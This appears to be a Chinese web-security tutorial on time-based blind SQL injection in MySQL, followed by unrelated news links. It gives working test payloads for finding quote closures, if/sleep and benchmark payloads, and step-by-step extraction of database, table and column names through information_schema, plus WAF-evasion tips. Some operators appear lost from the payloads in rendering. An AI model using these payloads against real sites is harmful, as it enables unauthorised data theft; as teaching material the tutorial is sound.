网络安全 - SQL注入篇 - 时间盲注
一、什么是时间盲注时间盲注Time-Based Blind Injection——它利用的是数据库的睡眠函数如SLEEP()通过判断页面响应时间是否被人为延长从而逐字符“抠”出数据。二、时间盲注的利用前提① 存在 SQL注入 漏洞② 数据库支持延时函数③ 网络延迟稳定三、确认时间盲注可用核心目标找到能让 SLEEP() 函数正常执行的闭合方式。判断标准如果某组闭合下页面延迟了约N秒说明该闭合有效如果立即返回则该闭合无效或条件为假。序号场景类型测试输入预期现象响应时间结论1基准测试?id1立即返回 200ms基准状态2数字型 - 真测试?id1 and sleep(5)延迟约 5 秒确认为数字型时间盲注3数字型 - 假测试?id1 and 12 and sleep(5)立即返回确认AND短路有效逻辑可靠4字符型 - 真测试?id1 and sleep(5) --延迟约 5 秒确认为单引号闭合5字符型 - 真测试?id1 and sleep(5) --延迟约 5 秒确认为双引号闭合6字符型 - 真测试?id1) and sleep(5) --延迟约 5 秒确认为单引号括号闭合7字符型 - 真测试?id1) and sleep(5) --延迟约 5 秒确认为双引号括号闭合8字符型 - 真测试?id1)) and sleep(5) --延迟约 5 秒确认为多层括号闭合9字符型 -假测试对应上方的闭合方式and 12 and sleep(5) --立即返回确认该闭合方式下AND逻辑正常重要结论上述测试中序号2~8只要有一个触发延迟该注入点就100%能用时间盲注。实战中 1’ 和 1’) 命中率最高优先测这两个。时间盲注使用核心函数函数 / 语句作用示例MySQLsleep(seconds)让数据库暂停执行 N 秒sleep(5)→ 暂停5秒benchmark(count, expr)重复执行表达式 N 次CPU密集型替代sleep绕过部分WAFbenchmark(10000000, md5(a))if(cond, true_val, false_val)条件判断函数if(11, sleep(5), 0)case when ... then ... end条件判断替代ifcase when 11 then sleep(5) else 0 end优先使用 AND SLEEP() 组合如 and if(…)比单纯的 if() 更灵活且能利用短路逻辑加快假条件的响应。四、时间盲注的详细步骤第一步判断数据库名长度利用 if sleep-- 猜测长度为 1假 → 立即返回?id1 and if(length(database())1, sleep(5), 0) -- -- 猜测长度为 8真 → 延迟5秒 ?id1andif(length(database())8,sleep(5),0)-- ✅ 页面卡了5秒通过逐个数1~20替换最终确定长度为 8。第二步逐位获取数据库名ASCII比较法截取第1位判断其ASCII码是否等于某个值-- 判断第1位是否等于 sASCII 115如果是则延迟5秒?id1andif(ascii(substr(database(),1,1))115,sleep(5),0)--实战中你不知道具体数值需要用二分法大于号配合 sleep-- 判断第1位 ASCII 是否 100?id1 and if(ascii(substr(database(),1,1))100, sleep(5), 0) -- 延迟说明大于100 -- 判断是否 120 ?id1andif(ascii(substr(database(),1,1))120,sleep(5),0)-- 立即返回说明在100~120之间-- 继续折半最终锁定 115第三步获取当前数据库下的表名-- 获取第一张表的长度假设是 users长度5?id1 and if(length((select table_name from information_schema.tables where table_schemadatabase() limit 0,1))5, sleep(5), 0) -- -- 获取第一张表的第1个字符u 117 ?id1andif(ascii(substr((selecttable_namefrominformation_schema.tableswheretable_schemadatabase()limit0,1),1,1))117,sleep(5),0)--第四步获取字段名与数据-- 获取 users 表第一个字段名的第1个字符?id1 and if(ascii(substr((select column_name from information_schema.columns where table_nameuserslimit0,1),1,1))117,sleep(5),0)--五、提高效率二分法 超时设置时间盲注极其耗时每猜一个字符要等5秒。手工测试时必须坚持两点技巧说明示例使用二分法不要用逐个试最坏127次用最多7次确定一个字符if(ascii(...) 64, sleep(5), 0)设置合理的延迟时间生产环境延迟设为1~2 秒不要设5秒配合timeout判断sleep(2)浏览器/脚本超时设为 3 秒优先确认长度再取值先跑length()确定总长度避免超出范围浪费请求先跑长度再跑内容六、时间盲注避坑指南序号坑点现象解决方案1网络延迟干扰服务器响应本来就要 500ms设sleep(1)根本不明显设sleep(3)或sleep(5)阈值设在2~3秒以上2AND短路导致 sleep 不执行写12 and sleep(5)永远立即返回因为12为假MySQL 直接短路判假条件用if(条件, sleep(5), 0)更稳妥不依赖短路3表名/数据库名含有大写二分法范围只跑97~122小写漏掉大写字母范围设为32~127包含大写、数字、下划线4子查询必须用括号包裹select table_name from ... limit 0,1报错写成(select table_name from ... limit 0,1)5sleep()被 WAF 拦截报错 403 或请求被拒绝换benchmark(10000000, md5(a))替代或尝试sleep(1)改为SLEEP(1)大小写混写6脚本误判超时假阳性网络突然卡顿假条件也超时脚本误以为真增加重试机制同一字符验证两次均超时才判为真7单次请求耗时过长跑 50 个字符每个字符 7 次请求 × 3 秒 21 分钟将sleep(3)改为sleep(1)阈值设 0.8 秒需配合稳定内网

相关新闻

从源码编译到硬件定制:Meshtastic LoRa Mesh网络固件开发全指南

从源码编译到硬件定制:Meshtastic LoRa Mesh网络固件开发全指南

1. 项目概述:从零开始,理解并构建你的Meshtastic节点 如果你对去中心化的无线通信、应急网络或者仅仅是摆脱手机信号依赖的远距离对讲感兴趣,那么Meshtastic这个名字你可能已经听过。简单来说,它是一个基于LoRa(远距离…

2026/9/18 13:40:05 阅读更多 →
Cursor 系统分析工单:数据库 / 运维 / 审计 / 安全四维,按铁律出可复查 REPORT

Cursor 系统分析工单:数据库 / 运维 / 审计 / 安全四维,按铁律出可复查 REPORT

很多人做「系统分析」时有个坏习惯: 换个主题——数据库、运维、审计、安全——报告骨架和标题几乎一样,只是把词换一换。 领导一看就知道:这不是分析,这是换皮交差。 更糟的是技术口嗨: 看见 b64: / Base64&#xf…

2026/9/17 20:10:26 阅读更多 →
LinkIt ONE物联网开发板入门指南:从硬件架构到GSM/GPRS实战

LinkIt ONE物联网开发板入门指南:从硬件架构到GSM/GPRS实战

1. 项目概述:为什么LinkIt ONE值得你花时间?如果你对物联网开发感兴趣,或者想找一个既能玩Arduino生态,又能直接连上蜂窝网络和Wi-Fi的“全能型”开发板,那LinkIt ONE绝对是一个绕不开的经典。它不是那种最时髦、性能最…

2026/9/15 11:26:21 阅读更多 →

最新新闻

Oh My Zsh 中 pass 密码管理器补全插件实战:命令补全、底层原理与多仓库配置指南

Oh My Zsh 中 pass 密码管理器补全插件实战:命令补全、底层原理与多仓库配置指南

Oh My Zsh 中 pass 密码管理器补全插件实战:命令补全、底层原理与多仓库配置指南 【免费下载链接】ohmyzsh 🙃 A delightful community-driven (with 2,500 contributors) framework for managing your zsh configuration. Includes 300 optional plugin…

2026/9/18 13:39:58 阅读更多 →
MOSFET驱动电路设计:关键参数与调试经验

MOSFET驱动电路设计:关键参数与调试经验

MOSFET驱动电路设计这件事,说简单也简单,说折腾也折腾。前一阵子有同事拿着新到的MOSFET让我帮着看驱动方案,他盯着规格书一脸愁:Ciss、Crss、Qg、Vgs(th)、Rg,符号一大堆,到底哪些参数和驱动电路设计直接相…

2026/9/18 13:39:58 阅读更多 →
083、LoRA与QLoRA低秩微调实战

083、LoRA与QLoRA低秩微调实战

083、LoRA与QLoRA低秩微调实战 上个月给一个内部工具做指令微调,用的是Qwen-7B-Chat。一开始图省事,直接全参微调,batch size开到2,模型加载进去,optimizer state一分配,好家伙,显存直接爆了,OOM报错红闪闪。后来改成qlora,同样的数据,batch size还能开到4,训练速度…

2026/9/18 13:39:58 阅读更多 →
CANN 社区 SIG(特别兴趣小组)体系全解读:组织架构、运作机制与参与指南

CANN 社区 SIG(特别兴趣小组)体系全解读:组织架构、运作机制与参与指南

CANN 社区 SIG(特别兴趣小组)体系全解读:组织架构、运作机制与参与指南 【免费下载链接】community 本项目是CANN开源社区的核心管理仓库,包含社区的治理章程、治理组织、通用操作指引及流程规范等基础信息 项目地址: https://g…

2026/9/18 13:39:58 阅读更多 →
GPS驯服恒温晶振:基于TDC的时差测量与递推滤波设计

GPS驯服恒温晶振:基于TDC的时差测量与递推滤波设计

简介:面向测控系统与时间频率同步领域的工程技术人员,这篇PDF文献提出一种基于时间数字转换器(TDC)的GPS驯服恒温晶振系统设计方案,旨在用较低成本解决传统高精度时间频率设备价格昂贵、恒温晶振频率准确度难以达标等实…

2026/9/18 13:39:58 阅读更多 →
从数据到实盘:构建个人量化交易系统的完整指南

从数据到实盘:构建个人量化交易系统的完整指南

简介:一份面向股票交易者、尤其是短线交易者的系统化交易方法论PDF,旨在帮助缺乏成体系的交易者摆脱随意预测、随意操作的状态。仅含1个PDF文件,压缩包仅16KB,体量轻巧却覆盖完整。内容从交易目标、风险承受能力、交易策略、交易心…

2026/9/18 13:38:57 阅读更多 →

日新闻

Matlab手写逻辑回归:从数学原理到多变量概率预测模型实现

Matlab手写逻辑回归:从数学原理到多变量概率预测模型实现

很多朋友第一次看到"逻辑回归"这四个字,第一反应就是——这玩意儿是个回归模型吧?我当年也是在Matlab里跑完一段代码,看着输出的0.73、0.86这种概率值,才回过神来:这家伙其实是披着回归外衣的分类神器&#…

2026/9/18 0:00:28 阅读更多 →
高值医用耗材研报PDF:用Python完成字段抽取、清洗与趋势预测

高值医用耗材研报PDF:用Python完成字段抽取、清洗与趋势预测

简介:这份报告是2023-2028年高值医用耗材行业调研及发展前景趋势预测报告,面向医疗器械企业管理者、投资机构、行业研究人员及关注政策变化的从业者,用于把握行业监管动向、市场格局与未来趋势。报告以PDF格式呈现,共1个文件、整体…

2026/9/18 0:00:28 阅读更多 →
三维高斯场赋能世界模型:几何语义蒸馏与机器人决策实战

三维高斯场赋能世界模型:几何语义蒸馏与机器人决策实战

先把我自己的背景交代一下:我之前在搞具身智能和机器人导航相关的项目,很长一段时间里都被“环境表示”这件事卡着。传统做法是用点云或者网格做几何建模,语义信息另外再跑分割模型,两套东西各管各的,时间一长就会发现…

2026/9/18 0:00:28 阅读更多 →

周新闻

AI SDK Harness 依赖更新指南:掌握 harness 包 SDK 依赖的升级、桥接同步与一致性校验

AI SDK Harness 依赖更新指南:掌握 harness 包 SDK 依赖的升级、桥接同步与一致性校验

AI SDK Harness 依赖更新指南:掌握 harness 包 SDK 依赖的升级、桥接同步与一致性校验 【免费下载链接】ai The AI Toolkit for TypeScript. From the creators of Next.js, the AI SDK is a free open-source library for building AI-powered applications and ag…

2026/9/16 19:03:19 阅读更多 →
Refine v5 Ant Design NumberField 组件实战:基于 Intl 的本地化数字格式化

Refine v5 Ant Design NumberField 组件实战:基于 Intl 的本地化数字格式化

Refine v5 Ant Design NumberField 组件实战:基于 Intl 的本地化数字格式化 【免费下载链接】refine A React Framework for building internal tools, admin panels, dashboards & B2B apps with unmatched flexibility. 项目地址: https://gitcode.com/GitH…

2026/9/17 7:57:36 阅读更多 →
Flutter应用改名全指南:从Android到iOS的配置与工具实践

Flutter应用改名全指南:从Android到iOS的配置与工具实践

刚接一个外包项目时,甲方要求把工程里临时用的应用名改成正式产品名。我本来觉得“改名”这种小事,打开配置文件改一行不就完了?结果真动手才发现,Flutter项目里“应用名称”根本不是一处配置,而是一整套散落在 Androi…

2026/9/17 10:19:14 阅读更多 →

月新闻

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能分类:[AI/大模型]细分主题:AI 增强型 CI/CD 流水线自动化与 GitOps 实践:Agent 工作流、工具调用与任务拆解:从原型到生产的验收清单很多团队在尝试用大…

2026/9/16 22:31:27 阅读更多 →
容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场

容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场

容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场分类:[工程技术]细分主题:Kubernetes 生产环境运维与排障实战:可复制的项目复盘模板与决策记录大部分团队的事故复盘报告,最后都变成了躺在 Confluence 或钉…

2026/9/15 21:39:18 阅读更多 →
容器 容器化技术与镜像安全管理:核心链路应该先拆哪一步

容器 容器化技术与镜像安全管理:核心链路应该先拆哪一步

容器 容器化技术与镜像安全管理:核心链路应该先拆哪一步分类:[工程技术]细分主题:Docker 容器化技术与镜像安全管理:核心链路的逐步实现与关键代码取舍面对一个积累了五六年历史包袱的单体架构应用(包含 Web 接口、后台…

2026/9/16 22:32:59 阅读更多 →